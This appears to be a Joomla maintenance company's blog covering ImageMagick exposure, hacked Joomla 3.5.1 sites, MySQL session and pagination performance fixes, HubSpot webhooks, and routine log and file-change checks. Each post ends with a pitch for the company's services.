Ideally, the best solution is to move your website to a VPS where you have control over which applications are installed (most servers used for shared hosting have many libraries installed to accommodate the various needs of the hosted websites, and that’s why they are usually more vulnerable). If you don’t want that, then you should tell your host to patch their current version of ImageMagick or risk suffering repeated attacks on your website.

How can you know that ImageMagick is installed on your website’s environment?

There are several ways to do that:

  • If PHP is compiled with ImageMagick, then an ImageMagick section will appear in the output of phpinfo().

  • If ImageMagick is installed but not compiled within PHP, then you can check if you have it installed by running the following PHP script:

    exec("/usr/bin/convert -version", $output, $version);
    echo($version);

    If you get a number (or a combination of numbers), then you know that you have it installed on your server.

  • If you are on a VPS or a dedicated server, then you can try running the following in the shell prompt as root:

    convert -version

    or

    /usr/bin/convert -version

    If you get a valid output (and not something like command not found) when running any of the commands above, then this is a definitive sign that you have it installed.

If your Joomla 3.5.1 is getting repeatedly hacked, then most likely your server is running ImageMagick. Your best option is to cleanup your website and immediately move to a VPS where ImageMagick is not installed. If you need help doing this, the please contact us. We will clean your website for you, we will secure it, we will move it, and we won’t charge you much!

What’s with All Those Hacked Joomla 3.5.1 Websites?

As of late, we are getting an abnormal number of requests for malware cleanup on Joomla websites (a substantial number of these websites are infected with the Google hack). What’s even more interesting is not the sheer number of such requests, but the fact that the absolute majority of the affected Joomla websites were 3.5.1 (which is the latest Joomla version at the time of writing this article).

Of course, this can be a coincidence, but it’s more like a once-in-a-blue-moon coincidence, because 1) the number of hacked websites that we are getting is abnormally large, 2) the absolute majority of these websites are Joomla 3.5.1 websites (typically, hacked Joomla websites use an old/vulnerable version of Joomla), and 3) we all know that Papa Smurf has better things to do than summoning that blue moon all the time.

We hate to say it, but it seems like there is a critical vulnerability in Joomla 3.5.1 that probably only those with malicious intents know about. In fact, we think that this vulnerability, whatever it is, started with Joomla 3.5.0, but since Joomla 3.5.1 was released shortly after 3.5.0, many have immediately upgraded to 3.5.1, which made it seem that this whole mess started with Joomla 3.5.1.

But how come we haven’t investigated the issue?

So far, all of our clients have elected to solely cleanup their websites and secure them. They didn’t want to spend more money for forensics, which is completely understandable, since forensics is a lengthy and a costly process. Of course, we can do the forensics ourselves (without being commissioned by a client to do it), but the problem is that, between all these hacked Joomla 3.5.1 websites, we don’t have the slightest amount of free time to invest in this investigation.

Is it a better idea to stick with Joomla 3.4.8?

We think so. Joomla 3.4.8 is, in our opinion, the most stable Joomla release in the 3.x line (so far). All the Joomla websites that we fully manage are still using Joomla 3.4.8, and we are not intending on updating them any time soon.

How do we ensure that the websites remain clean after unhacking them?

If you have ever cleaned a hacked Joomla website before, you will probably know that the trick is not cleaning it (although that can be very challenging), but it is keeping it clean.

In order to keep those websites clean after removing all the malware, we ensure that the “index.php” file is the only PHP file that can be directly executed by Apache and we remove direct access to most of the core directories (that shouldn’t be accessed by the outside world) by adding a local .htaccess file with a deny from all directive. We also install a homemade firewall extension on the cleaned websites.

Why are we complaining about this? Doesn’t all of this mean that “business is good” for us?

Well, on the long term, this is not good news. If Joomla is deemed to be an unreliable and insecure CMS by the people using it, then these people will slowly, but surely, walk away to other content management systems, and we will be left with less clients. We don’t want that, and we will try our best to get to the bottom of this issue as soon as we have the time. Meanwhile, if your Joomla 3.5.1 website gets hacked, please contact us. We will clean it, we will secure it, and we won’t charge you much!

“The table ‘#__session’ is full” Error in Joomla

A client emailed us this Saturday morning and told us that he was seeing a blank page on every page on his website. Clearly that was the sign of a fatal error. Naturally, all we had to do was to search through the logs in order to find out what the problem is; it didn’t take us long to get to the bottom of it: the MySQL error log (located under the /var/lib/mysql folder) was inundated with the following error:

The table ‘#__session’ is full

Apparently, for some reason, the session table was reaching the maximum limit. That was weird. Typically, on dedicated servers (our client was hosting his website on a dedicated server), the limit of a MySQL table is only restricted by the amount of free hard disk space on the server. So we logged in to phpMyAdmin, and the first thing that we noticed was that the #__session table was using the MEMORY storage engine as described here, and that explained why the table was reaching a limit.

You see, MEMORY tables cannot exceed, in size, the value of the max heap table size global variable in MySQL, which defaults to 16 MB on a standard MySQL installation (if you wan to know the max heap table size on your specific MySQL instance, then do the following: 1) login to phpMyAdmin, 2) click on Variables on the top [without selecting any database], 3) in the Filters search box, enter the word “heap” and then press enter, 4) you will now be able to see what the value of the max heap table size is).

As you might have probably guessed, fixing this problem consisted of just increasing the value of the max heap table size, which we did the following way:

  • We ssh’d to the server.

  • We opened the file my.cnf located under the /etc folder (we always use vi for editing files in Linux).

  • We added the following line to it:

    max_heap_table_size=256M

    (Note: You may already have the above line in your my.cnf file. In that case, all you need to do would be to increase the limit to a higher number.)

  • We restarted MySQL using the following command:

    /etc/init.d/mysql restart

    (Note: You can always restart MySQL from WHM in case you use it).

  • That fixed the problem.

Of course, we truncated the #__session table first, and we recommend that you truncate it in a cron job that runs every midnight, or else you may run into the same issue even after making the change above.

If your #__session table is getting full, and you are using the MEMORY storage engine, then try our solution above, it should work. If it doesn’t, or if you need help implementing it, then please contact us. Our rates are super affordable, our work is super professional, and we are super friendly!

Joomla 404 Pages Causing Load and Memory Issues – How to Fix

Note: The solution presented in this post consists of a core modification, since it addresses a Joomla bug. Proceed at your own risk and always backup your Joomla website before modifying core files. Oh, and don’t forget that future Joomla updates may wipe out your changes (so you may need to redo them after each update).

Another note: Just after finishing this post, we discovered that we have written something very similar here. Oh well!

A problem that is inherent to Joomla, and that most people do not know about, is the 404 page, and it’s not because most Joomla websites do not handle it properly, it’s because the load and memory issues it can cause on large websites. “Load issues”, we hear you ask? What possibly can a 404 page have anything to do with the load on the server? It should be the quickest page to load on the whole website? Right?

Well, wrong! You see there is a bug in Joomla that makes the 404 page the heaviest page on large websites. The problem is that Joomla processes the 404 page as a category page with no catid (category ID) and with no limit. In other words, each time Joomla encounters a 404 page, it gets all the content items from the database for all the categories! Take a look at this query generated by a 404 page on a Joomla website just before we fixed it:

# Time: 160426 11:49:30
# User@Host: database_user[database_user] @ localhost []
# Query_time: 8.090585 Lock_time: 0.000784 Rows_sent: 76795 Rows_examined: 438986
SET timestamp=1461685770;
SELECT a.id, a.title, a.alias, a.introtext, a.fulltext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = '0000-00-00 00:00:00' THEN a.created ELSE a.modified END as modified, a.modified_by, uam.name as modified_by_name,CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits,a.state AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,c.published, c.published AS parents_published
FROM #__content AS a
LEFT JOIN #__categories AS c ON c.id = a.catid
LEFT JOIN #__users AS ua ON ua.id = a.created_by
LEFT JOIN #__users AS uam ON uam.id = a.modified_by
LEFT JOIN #__categories as parent ON parent.id = c.parent_id
WHERE a.state = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2016-04-26 15:49:29') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2016-04-26 15:49:29')
ORDER BY CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END DESC , a.created;

Not only the query above was causing a huge load issue, but it was also exhausting the maximum memory allocated to each PHP page. So, the 404 page was actually showing the following (instead of, well, a 404 page):

Allowed memory size of 536870912 bytes exhausted (tried to allocate 231 bytes) in /home/[user]/public_html/libraries/joomla/database/driver/mysqli.php on line 811

Of course, when you notice that the above query returned almost 77,000 rows from the database, you start putting things into perspective, and you won’t be surprised by the fact that the whole 512 MB allocated were completely exhausted (by the way, just out of curiosity, we increased the maximum memory in a local php.ini to 2 GB, but still we had the same problem).

So, how do we solve the problem?

Well, fixing this problem is not that hard; you only have to do the following:

  • Open the file category.php located under the components/com_content/models folder.

  • Just after this line:

    $limit = $this->getState('list.limit');

    Add the following lines:

    if (!isset($limit) || empty($limit))
        return array();

  • Save the file and upload it back.

  • That’s it!

As you can see, the whole fix consists of a minor modification to a core file (the modification ensures that Joomla doesn’t query the database if the limit field is not specified), but we understand that some Joomla administrators out there may not want to do this themselves. If you’re one of them, then please contact us, we will do it for you in not time, for an excellent price, and you’ll gain genuine friends and a reliable supplier!

URL Rewriting Not Working on a Joomla Website: How to Fix

We had an interesting job today: a regular client called us in the morning and told us that he can’t get URL rewriting to work on his Joomla 3.5.1 website. He told us that when he set Use URL Rewriting to Yes in the Joomla’s Global Configuration, all the URLs, with the exception of the homepage, resulted in a 404 page.

Naturally, we thought it was a simple issue: most likely the client didn’t rename the htaccess.txt file to .htaccess, but, after a quick check, we discovered that he did, and this is where the fun started…

We first thought that the .htaccess file that he was using was corrupt, and so we replaced it with the default one that comes with Joomla, but that didn’t fix it.

We then thought it might be a system plugin causing all this mess, and so we disabled all the of the enabled system plugins, and we tested the website, hoping that it might be it, but, to our disappointment, it wasn’t: we still saw the dreaded 404 page when we went to anything other than the homepage.

At this point, we started suspecting the server, and so we checked the httpd.conf file (Apache’s configuration file), but it was clean. We also checked if the mod_rewrite module was installed and enabled, and it was. We tried every single possible trick on the httpd.conf file, restarting Apache every time we did that, but with no success whatsoever.

Since we were so convinced that the problem was a server problem, we contacted the host and we told them that there is some serious issue with URL rewriting on the server, and we would love if they can take a look. They were quick to offer help, but on the condition that we create a very simple test scenario where they can see that URL rewriting is not working. So we created a folder called test under the main Joomla website, and we installed there a fresh, clean copy of Joomla 3.5.1 along with the sample data. We set the Search Engine Friendly URLs and the Use URL Rewriting options in the Global Configuration settings to Yes, we renamed the htaccess.txt file to .htaccess, and we tested the test website. To our astonishment, it worked. This experiment, of course, ruled out the server environment as the cause of this problem, which was somehow depressing: it was our problem again!

Something, however, was weird with the way the website worked when URL Rewriting was enabled. Whenever a rewritten URL was used, the 404 page was loading super quickly, making us question whether Joomla was actually intercepting that page at all. It was a long shot but we wanted to prove it: we added a die(’Under Maintenance’); at the beginning of the entry index.php file located under the root directory of the Joomla website, and then we visited the URL, and, guess what, we saw the 404 page, instead of a page with just Under Maintenance in it.

This meant that Joomla wasn’t even intercepting the URL, which was odd, as this is not the normal behavior. Now, the question was, where was this 404 page coming from?

It didn’t take us long to discover which file was responsible for generating the 404 page. It was a file called 404.shtml which was located under the main folder of the Joomla website. Renaming that file to somethingelse.shtml fixed the problem!

But why was the presence of the 404.shtml file causing the problem?

The Apache configuration stated that if someone tried to access a file that didn’t exist, and if the 404.shtml file existed, then that file will be loaded. And, since accessing a URL without index.php in it technically means trying to access a non-existent file, the 404.shtml was getting loaded, causing all this frustration for us and for our client.

Now if you, our dear reader, are having a problem with URL rewriting on your Joomla website, then check (after making sure that you have renamed the htaccess.txt to .htaccess) that you don’t have a 404.shtml file lurking on your website. If you do, then just rename it and see if that fixes the problem. If it doesn’t, then please contact us. We will fix the problem for you, efficiently, professionally, and affordably!

How to Submit Data from a HubSpot Form to Your Joomla Website

A client of ours, who has been using HubSpot extensively for a couple of years now, asked us for something fun! He wanted to grab the contact data (when a new form was submitted in HubSpot) in order to create a Joomla user out of it. In other words, whenever someone fills out a specific HubSpot form and clicks Submit, then a new user should be created for him in the Joomla website (out of the submitted form data).

Now we did work with HubSpot a few times before, but this task was more challenging then all of our other HubSpot tasks. We spent days researching how to do this – thinking that this should be done through the HubSpot API, but not finding exactly how. It was frustrating…

But, while searching for a blindfold and a cigarette (we knew we were going to get executed if we didn’t finish this on time), we discovered webhooks. What are webhooks, we hear you ask?

Webhooks are a standard way of passing data from one application to another, easing up the integration of two or more applications. So, in short, you can use a webhook to pass (transmit) the submitted data from HubSpot to the Joomla website (or to any other website/application).

So, how did we do that?

We did it the following way:

  • We logged in to the HubSpot account.

  • We clicked on Contacts -> Workflows in the upper menu.

  • We clicked on Create new workflow on the top right.

  • We entered the workflow name (we chose “Submit to Joomla” as the name, but you can choose any other name), and we chose Standard from the popup window.

  • Under “Automatically enroll contacts when they meet these criteria”, we clicked on Form Submission, and then we chose the HubSpot form that our client wanted to use to register Joomla users from the dropdown, and then we clicked on Done, and then Save.

  • We hovered just over the sentence “Contacts will be enrolled the first time when they meet the criteria above. (Change)”, and, just below it, a link titled “Add action or delay” appeared.

  • We clicked on the “Add action or delay” link, and we selected Trigger a webhook from the dropdown.

  • We chose POST from the first dropdown (you can choose GET if you want to send the information as GET parameters to your Joomla website).

  • We entered the URL of the script that we have already created that will add a user to a Joomla website based on the POST parameters1 (we will not include the script here, but there are many snippets on the Internet on how to do this).

  • We clicked on Save in order to save the webhook and the parent workflow.

  • We activated the workflow by clicking on the Off button next to “Workflow is inactive. Click to review and activate.”, and then, in the popup window, we clicked on Activate workflow now, and then we clicked on OK.

  • We clicked on Content -> Landing Pages in the upper menu, and then we clicked on the landing page where the form resided.

  • We clicked on Edit on the top right, and then clicked on the form (this opened a sidebar to the left).

  • We scrolled down on the left sidebar, and then, under Post submit actions, we clicked on Add to workflow, and then we chose the workflow that we have created above (which we called “Submit to Joomla”).

  • We clicked on Update on the top right.

  • We tested the landing page and we noticed that our script was getting executed when the form was filled! Success!2

If you want to automatically store the data captured by a specific HubSpot form on your Joomla website (or an any other website/application), then try using the above method. If you need help implementing it, then please contact us. Our rates are affordable, our work is professional, and we are the friendliest developers on planet Earth! (or so we say!)

Footnotes:

1HubSpot will not send you the data in the POST headers. It will send it in the body of the headers, and there is a difference. In order to get the form data from HubSpot in your PHP script, you will need to use the following code:

$allHeadersJSon = file_get_contents('php://input');
$allHeaders = json_decode($allHeadersJSon);

$_POST will not work and will not contain any data. You have been warned!

2There is a delay of a few seconds between the form submission on HubSpot and the triggering of the webhook. Keep that in mind if your application is mission critical.

How We Analyze the Logs for Suspicious Logins on a Joomla Website

An important daily task that we perform on the large websites that we maintain is the checking of the IPs that successfully accessed the backend section of the website. We check where these IPs are coming from, and, if they are coming from an unusual location (such as a remote country), then we will look further into it.

So, how do we get the list of IPs that successfully accessed the Joomla backend?

Well, we first password protect the Joomla backend with .htaccess, and we use a unique username in the .htpasswd file, such as websitename_websiteownername. This step is important to do as it allows to know, through the logs, which IPs got past this first authentication.

We then follow the below guide to get the list of IPs:

  • We ssh to the server as root.

  • We change the directory to the logs directory of the website’s user:

    cd /home/[user]/logs/

  • We create a folder called itoctopus (if not already created) under the /home folder:

    mkdir /home/itoctopus

  • We copy the backup file of the current month to the itoctopus folder:

    cp yourjoomlawebsite.com-Mar-2016.gz /home/itoctopus/

  • We change the directory to the itoctopus directory using the following command:

    cd /home/itoctopus

  • We extract the gzipped file that we just copied to the itoctopus folder:

    gunzip yourjoomlawebsite.com-Mar-2016.gz

  • We generate the list of IPs that have accessed the administrator section of the website:

    grep '/administrator/' yourjoomlawebsite.com-Mar-2016 | grep 'websitename_websiteownername' > administrator-access.txt

    (Note: websitename_websiteownername is the user that we created for .htpasswd authentication above and is something like yourjoomlawebsite_jeff.)

  • We get a list of all the unique IPs that have accessed the backed on the Joomla website:

    awk '{ print $1 } ' administrator-access.txt | sort | uniq > administrator-ips.txt

  • We feed the administrator-ips.txt file to a tool that we have built that will automatically generate the locations (city and country) of all the IPs in the list. Note that before building that tool, we used online IP location tools to check where each IP was coming from (which was a somehow tedious process).

  • If we notice that there is an IP that has successfully accessed the website from a suspicious location, then we investigate that IP further (in order to know whether it is a legitimate access or not, and, in the latter case, we check the logs for that IP so that we have an idea on what kind of activities it did on the website).

So, there you go, we have disclosed our method for analyzing logs for suspicious logins on a Joomla website. If you think that the above is a bit too much and you don’t have time to do it yourself, then please contact us. We will do it for you daily, weekly, or monthly based on your requirements, we won’t charge you much, and you will sleep better at night, knowing that access to your website is monitored by Joomla experts (that’s us)!

The Curious Case of Multiple Webmaster Tools Verifications on a Joomla Website

Trivia: The title of this post is inspired by the movie “The Curious Case of Benjamin Button”, which is somehow unique (in our humble opinion), but please don’t unfriend us if you don’t like it. The notion of aging backwards is fascinating, original, and, to some extent, true.

While examining the Joomla website of a new customer of ours this morning, we noticed that there were 3 files and 2 meta tags that were used to verify the site ownership for Google Webmaster Tools (by the way, it seems that Google now calls it the Google Search Console).

Typically, when we see this we know exactly what the deal is: every single developer/designer working on the website added their own Google Webmaster Tools verification code (either by uploading a verification file or by adding a verification meta tag), in order to claim the website’s ownership, so that they can spy on the site’s keywords. The reason why none of them removed the other verification files/meta tags was because they just didn’t know which verification file/meta tag was the legitimate one as they didn’t want to remove it by mistake (so that they wouldn’t get caught).

When this happens, we delete all the verification files/meta tags, and then we ask the client to provide us with his verification file/meta tag (we do prefer having a file over having a meta tag, by the way; it’s just less clutter in the HTML code). Of course, when we tell the client, he is usually annoyed by the behavior of his previous developers/designers, but, on the other hand, he’s exalted because he’s finally dealing with honest developers!

But aren’t there cases where a website has a legitimate need for multiple verifications?

Yes, and that is especially the case of a large website belonging to a very large company. In this case, the company has separate divisions working in silos, and these divisions have separate Google accounts that they use to monitor their site’s performance.

Can this happen with Google Analytics as well?

Yes, and we have seen it many times. The reason why we only spoke about Google Webmaster Tools in this post was because the issue that we saw today was with this particular tool. So, you should also check if your website has more than one Google Analytics verification file/meta tag.

If you have a Joomla website with multiple verification files/meta tags for the exact tool, then you should immediately remove the ones that aren’t yours. If you don’t know how to do that, then please contact us. We will do it for cleanly, quickly, and for very little money. Oh, and we are trustworthy programmers!

Joomla, Pagination, and Performance Issues: Again and Again

Warning: The code changes in this post are in the core. Proceed with caution (and at your own risk) and keep in mind that future Joomla updates may wipe out the below changes.

In a previous post, we have explained how we resolved performance issues caused by pagination on a large Joomla website. The results were satisfactory, but not conclusive: we still had the problem in the backend and we were still seeing the following query (along with some variations of it) in the MySQL slow query log:

SELECT COUNT(*)
FROM myj63_content AS a
LEFT JOIN myj63_users AS uc ON uc.id=a.checked_out
LEFT JOIN myj63_viewlevels AS ag ON ag.id = a.access
LEFT JOIN myj63_categories AS c ON c.id = a.catid
LEFT JOIN myj63_users AS ua ON ua.id = a.created_by
WHERE (a.state = 0 OR a.state = 1);

So, although we solved the issue with excessive pagination, Joomla still was calculating the total items for each particular view, and that calculation was slowing down the whole server. We resolved the issue the following way:

  • We opened the file list.php located under the libraries/legacy/model folder.

  • We changed the following line:

    $page = new JPagination($this->getTotal(), $this->getStart(), $limit);

    to this line:

    $page = new JPagination(2000, $this->getStart(), $limit);

  • We uploaded the file back, we cleared the MySQL slow query log, and then we checked if any new slow queries were written.

  • We waited for an hour and no new query was written to the file. The mission was successful!

But, the next day, we checked the slow query log and we noticed that there were new COUNT(*) queries that were recorded. After a quick investigation we realized that we had to modify another file in order to really close the problem, and that file was the legacy.php located under the libraries/legacy/model folder. Here’s what we did:

  • We opened the aforementioned file.

  • At the very beginning of the _getListCount function, we added the following line:

    return 2000;.

  • We saved the file and we uploaded it back.

  • The problem was solved!

Now, you might be wondering, what’s with the 2000? Well, the 2000 is a hardcoded number representing the number of entries in any view. For example, if a category has 10,000 articles, then we are telling Joomla that it has only 2,000 articles, which is OK (because we are not allowing pagination past page 100). But, what if a category only had 10 articles? This means that for that category, we will be showing that it has 100 pages when it only has 1 page. That doesn’t look very nice, but it cannot be handled with a single line of code. So, if you want to implement the solution above, you will need to live with this limitation, or you will need to ask some Joomla experts (such as your humble servants), to address this for you. If you want to do this yourself, then let us give you a hint: you will need to run a midnight cron job calculating the number of items for each view, and, if that number is less than 2000, then you should use that number in the files above instead of 2000.

If you want help implementing the above solution, then please contact us. We are happy to serve, we work very quickly, and our fees are very affordable!

Is Joomla 3.5 Really 50% Faster than Joomla 3.4.8?

Rumors spread around quickly, and the latest rumor, besides the one that states that the world is not flat, is that Joomla 3.5 is 50% faster than Joomla 3.4.8. To be more specific, the rumor states that Joomla 3.5 is 50% faster because, unlike Joomla 3.4.8, it can run under PHP 7. So, the rumor can be traced down to another rumor which states that PHP 7 is 50% faster than PHP 5.

So, is it true that PHP 7 is 50% faster than PHP 5?

Zend’s website proclaims that it is, more or less, true. In fact, they (Zend – the developers behind PHP) say that Drupal is 72% faster under PHP 7, and Magento’s catalogue is over 100% faster (we know, where is Joomla, huh?). If you’re thinking that this is too good to be true, then you are probably right: the scripting language (PHP is a scripting language) is very, very rarely the bottleneck on any website. In 99.99999% (that’s five decimal nines) of all cases, the bottlneck is the database server. So, any improvement at the scripting language’s level is always negligible since a Joomla page (or a page on any other CMS) has to wait on the database server before it is served to the client.

Of course, the above assumes that Zend’s hype is not merely a propaganda – but this is not really the case. In fact, most of those who tested PHP 7 on any website are claiming that they are getting worse results than with PHP 5, which doesn’t necessarily mean that the Zend team is lying with statistics, but it definitely means that all Zend tests were run in optimal environments where PHP 7 excels.

But what if PHP 7 is really 50% faster than PHP 5?

As stated above, the bottleneck of any CMS is the database, so even if PHP 7 is ten times (1000%) faster than PHP 5, nobody will feel it.

Of course, there are some Joomla administrators out there who are claiming that their websites are flying with Joomla 3.5 and PHP 7, but we think that this is a case of the emperor has no clothes, and it’s only a matter of time before everyone becomes aware of the fact that it’s all a hype, and that Joomla 3.5 is not even slightly faster than Joomla 3.4.8 (simply because the necessary database optimizations were not implemented).

So, if you’re excited about upgrading to Joomla 3.5 because you’re thinking that it can resolve all (or even some) of your performance issues, then think again, because your performance issues are almost invariably caused by MySQL and not PHP. If this post made you hesitate a bit and you want to seek some advice before updating to Joomla 3.5, then please contact us. Note that our super affordable fees apply.

A Quick Shell Command to Check the List of Modified Files on a Joomla Website

One of the things that we do daily on the websites that we fully manage is check which files were changed in the past 48 hours. Doing this helps us catch files that were maliciously modified, it also helps us check whether the client’s employees have uploaded files that they shouldn’t have uploaded, or have uploaded files to the wrong folder.

So, how do we do that?

There are several ways to do that, but we prefer to do this through root shell access. So, we ssh to the server, and then we run the following command:

find /home/user/public_html -path '/home/user/public_html/cache/*' -prune -o -mtime -2 -ls > changed.txt

The above command will dump the list of modified files within the past 48 hours in the changed.txt file under the /home/user/public_html (it excludes files created under the cache folder). Once we run the above command, we then check each and every created and modified file. For example, if we see that a PHP file was created or modified, we check that PHP file immediately: PHP files should never be modified, and they should only be created when a new extension is installed, other than that any modification/creation of a PHP file is most likely malicious.

If we see that a new image file was created, we check if it was created under the right directory (we ensure that images are evenly distributed under the images folder).

How to exclude certain file types from being included in the list of changed files?

Many Joomla website owners don’t care about the organization of the image files the way we do, so they might not be interested in knowing which images files were changed, in that case, they can run the following command to generate a list of changed files, but excluding image/PDF files:

find /home/user/public_html -path '/home/user/public_html/cache/*' -prune -o -mtime -2 -ls | grep -vE '(.jpg|.png|.gif|pdf)' > changed.txt

The above command generates a list of all the files created/changed within past 48 hours with the exception of image files and PDF files.

But, what if you want to get a list of changed files that were modified in the past week?

Some Joomla administrators run weekly checks on their Joomla websites (they don’t have time to run daily checks), so they might want to go with 7 days instead of 48 hours. In that case, all they need to do is change 2 in the above code to 7.

The above is one of the many checks we run daily on the Joomla websites that we fully manage. If you want us to fully manage your website, please contact us. Our fees are affordable, our work is professional, and we will proactively ensure that your website is clean!

How to Resolve Performance Issues Caused by Pagination on Large Joomla Websites

Warning: The solution presented in this post consists of a core modification, which means a future Joomla update may wipe it out. You have been warned!

If you check the MySQL slow query log of a large Joomla website, you will probably see something like the below query:

SELECT a.id, a.title, a.alias, a.introtext, a.fulltext, a.checked_out, a.checked_out_time, a.catid, a.created, a.created_by, a.created_by_alias, CASE WHEN a.modified = '0000-00-00 00:00:00' THEN a.created ELSE a.modified END as modified, a.modified_by, uam.name as modified_by_name,CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END as publish_up,a.publish_down, a.images, a.urls, a.attribs, a.metadata, a.metakey, a.metadesc, a.access, a.hits, a.xreference, a.featured, a.language, LENGTH(a.fulltext) AS readmore,CASE WHEN badcats.id is not null THEN 0 ELSE a.state END AS state,c.title AS category_title, c.path AS category_route, c.access AS category_access, c.alias AS category_alias,CASE WHEN a.created_by_alias > ' ' THEN a.created_by_alias ELSE ua.name END AS author,ua.email AS author_email,parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias,ROUND(v.rating_sum / v.rating_count, 0) AS rating, v.rating_count as rating_count,c.published, CASE WHEN badcats.id is null THEN c.published ELSE 0 END AS parents_published
FROM #__content AS a
LEFT JOIN #__content_frontpage AS fp ON fp.content_id = a.id
LEFT JOIN #__categories AS c ON c.id = a.catid
LEFT JOIN #__users AS ua ON ua.id = a.created_by
LEFT JOIN #__users AS uam ON uam.id = a.modified_by
LEFT JOIN #__categories as parent ON parent.id = c.parent_id
LEFT JOIN #__content_rating AS v ON a.id = v.content_id
LEFT OUTER JOIN (SELECT cat.id as id FROM #__categories AS cat JOIN #__categories AS parent ON cat.lft BETWEEN parent.lft AND parent.rgt WHERE parent.extension = 'com_content' AND parent.published != 1 GROUP BY cat.id ) AS badcats ON badcats.id = c.id
WHERE a.access IN (1,1) AND c.access IN (1,1) AND CASE WHEN badcats.id is null THEN a.state ELSE 0 END = 1 AND (a.publish_up = '0000-00-00 00:00:00' OR a.publish_up <= '2016-03-13 13:01:11') AND (a.publish_down = '0000-00-00 00:00:00' OR a.publish_down >= '2016-03-13 13:01:11')
ORDER BY c.lft, a.featured DESC, fp.ordering, CASE WHEN a.publish_up = '0000-00-00 00:00:00' THEN a.created ELSE a.publish_up END DESC , a.created LIMIT 34680, 20;

Now we have explained how to optimize most of this query a long time ago, but still, there is one part of it that we didn’t address, it’s the LIMIT 34680, 20 part, in which we tell MySQL to grab results which ordering is between 34680 and 34679 (inclusive) for pagination purposes.

The problem with the LIMIT 34680, 20 is that it is extremely slow when fetching results, and can cause a delay of 5-6 seconds.

So, what’s the solution?

Well, a LIMIT 34680, 20 means that we are trying to fetch the data for page 1735 (since we are listing 20 results per page, so that’s 34680/20 + 1), but that it’s a bit too excessive. Even Google, with all its processing power, doesn’t do that. If you don’t believe that, try visiting the following link: https://www.google.ca/?gws_rd=ssl#q=test&start=3000, and you will see the below message:

Sorry, Google does not serve more than 1000 results for any query. (You asked for results starting from 3000.)

So, Google, the most important website in the world, restricts the number of its search results to 1000 results (or 100 pages, since they display 10 results per page), but we are trying to display more than 30,000 results on the Joomla website, which doesn’t make much sense.

So, we discussed the issue with the client and we convinced him that it’s a much better idea (for performance reasons) to restrict pagination to only 100 pages (2,000 results, that’s 1,000 more than what Google displays), and the client immediately agreed, and so implemented the fix the following way:

  • We opened the file index.php located under the main directory of the website.

  • We added the following code at the very beginning of the file:

    $myStart = intval($_GET['start']);
    if ($myStart > 2000)
    	die('Pagination Limit Exceeded');

  • That’s it. The problem was solved! No more slow queries caused by excessive pagination!

But wouldn’t the above cause a problem when indexing older articles?

Usually, humans (unless they are really, really, really bored) never browse past page 10, only bots do, and they only do that to index older articles. If you disallow pagination past page 100, then you might run into indexing issues. In order to resolve the problem, you will need to make sure that you have a valid and up-to-date XML sitemap of your website.

Isn’t there a better solution?

Well, if you have contiguous IDs on your Joomla website, then the answer is yes, there is a better solution that allows you to have all the pagination that you want, and it consists of changing the LIMIT statement to something like WHERE id > n LIMIT 0, 20 (where n substitutes 34680 in the query above). However, on large Joomla websites, it’s almost an impossibility to have contiguous IDs.

If you have a large website, we really recommend implementing the above solution. It will definitely lessen the load on your server and will make your Joomla website work a lot faster. If you’re afraid of the implementation, then please contact us. We will do it for you quickly, professionally, and for a very reasonable fee!

Joomla’s Backend Displaying phpMyAdmin

We had an interesting case today – a client of ours told us that whenever he tries to login to the administrator section of his website, he was seeing phpMyAdmin’s login page instead of Joomla’s regular administrator login page. At first, we thought we misunderstood what the client said, but it didn’t take us long to discover that we didn’t (yes, there are 2 “didn’t’s” in this sentence, but it’s not a double negative).

We saw weird things on Joomla websites, but it was the first time we saw something that weird. What was even weirder was that the administrator folder of the Joomla website contained an extracted copy of phpMyAdmin (hence the phpMyAdmin login). It still contained everything the administrator folder had (with the exception of the index.php file, which was overwritten by that of the phpMyAdmin instance). Fixing the problem consisted of simply copying the administrator/index.php file from a fresh Joomla install (matching the client’s version) to the administrator folder of the actual website. Of course, we needed also to remove the folders associated with phpMyAdmin, but that wasn’t necessary to fix the problem.

But what caused this to happen?

We have 2 theories on what caused this:

  1. A staff member (working for the client) or the hosting company mistakenly uploaded phpMyAdmin to the administrator folder or our client’s website.

  2. The website was hacked, and the phpMyAdmin instance was uploaded to the administrator folder as part of the hack.

Obviously, we can’t do anything to avoid the first potential cause in the future as it is a human mistake. But for the second one, we implemented some security measures on the website (such as preventing access to files other than the index.php file) in order to better protect the website.

If your Joomla’s backend is suddenly displaying phpMyAdmin (or a different application), then make sure that phpMyAdmin (or that other application) is not installed in your administrator folder. If it is, then all you need to do is to remove it (e.g. remove the application) and restore the original administrator/index.php file. If that doesn’t solve the problem, then please contact us. We will solve the problem for you in as little time and for as little money as possible.

Joomla Website Crashing Constantly After Moving to a Larger Hard Disk

A regular client called us a week ago and told us that, after moving his Joomla website to a larger hard drive, it started crashing constantly. We checked the load on his server and it was super high (in the double digits) which explained the constant crashing, but didn’t really reveal the root cause.

So, we checked the slow query log (since the process that was creating the majority of the load was MySQL) and we noticed that there was a huge number of various slow queries, which was odd, considering that the website was running very smoothly before the move to a larger hard drive. Naturally, we started optimizing the queries, one by one, but we just couldn’t get the website under control.

We then reduced Bing’s crawl rate, as well as Google’s (we did the latter task using Google’s Webmaster Tools). Things got better, and the website crashed less often, but it still crashed…

We then did another round of optimization, and we blocked all the spam and the non-essential bots, but the progress wasn’t substantial and the load was still un-maintainable.

We then remarked that around midnight, a cPanel process called pure-quotecheck was causing some additional load (second highest load after MySQL), and so we stopped it by disabling updates in WHM. The load decreased, but still, it wasn’t a silver bullet.

